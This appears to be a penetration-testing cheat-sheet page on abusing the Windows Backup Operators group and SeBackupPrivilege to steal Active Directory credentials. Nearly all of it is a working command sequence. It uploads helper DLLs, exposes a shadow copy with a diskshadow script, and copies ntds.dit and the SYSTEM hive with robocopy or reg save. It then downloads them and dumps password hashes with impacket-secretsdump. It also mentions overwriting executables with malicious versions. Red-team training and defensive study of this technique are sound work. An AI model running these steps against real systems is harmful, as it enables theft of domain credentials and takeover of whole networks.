Backup Operators
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
Backup Operators can back up and restore all files on a computer, including OS files, regardless of the permissions that protect those files. Because members of this group can replace files on DCs, they're considered service administrators.
Well known SID/RID:
S-1-5-32-551
.
Allows us to create backups of any files, whilst not restoring their permissions, which equals to arbitrary read access.
Allows us to overwrite legitimate executable files with versions that include malicious software used for privilege escalation.
Check SeBackup
.
If the controlled user has the SeBackupPrivilege
, it can dump SAM
, SYSTEM
, SECURITY
and therefore the NTDS.dit
on the target system. No admin privs needed!
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL | grep Administrator
# Move to a writeable directory
cd C:\Temp
# Upload files
upload diskshadow_script
upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll
# Import DLLs into memory
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
# Expose the shadow copy
diskshadow /s raj.dsh
# Copy ntds.dit to Temp
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
# Copy system.hive
reg save hklm\system c:\Temp\system
# Exfiltrate files
download ntds.dit
download system
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
nxc smb <target-ip> -u <user> -p <pass> -M backup_operator
$ cat diskshadow_script
set context persistent nowriters
add volume c: alias random
create
expose %random% z:
# Convert file into a Windows-compatible format
$ flip -m diskshadow_script
$ sudo unix2dos diskshadow_script # deprecated
# Move within a writeable directory
cd c:\windows\temp
# Upload the diskshadow script
upload diskshadow_script
# Expose the shadow copy
diskshadow /s diskshadow_script
# Copy the ntds.dit database
robocopy /b z:\windows\ntds . ntds.dit
# Copy the system.hive file
reg save hklm\system c:\windows\temp\system.hive
# Download both files
download ntds.dit
download system.hive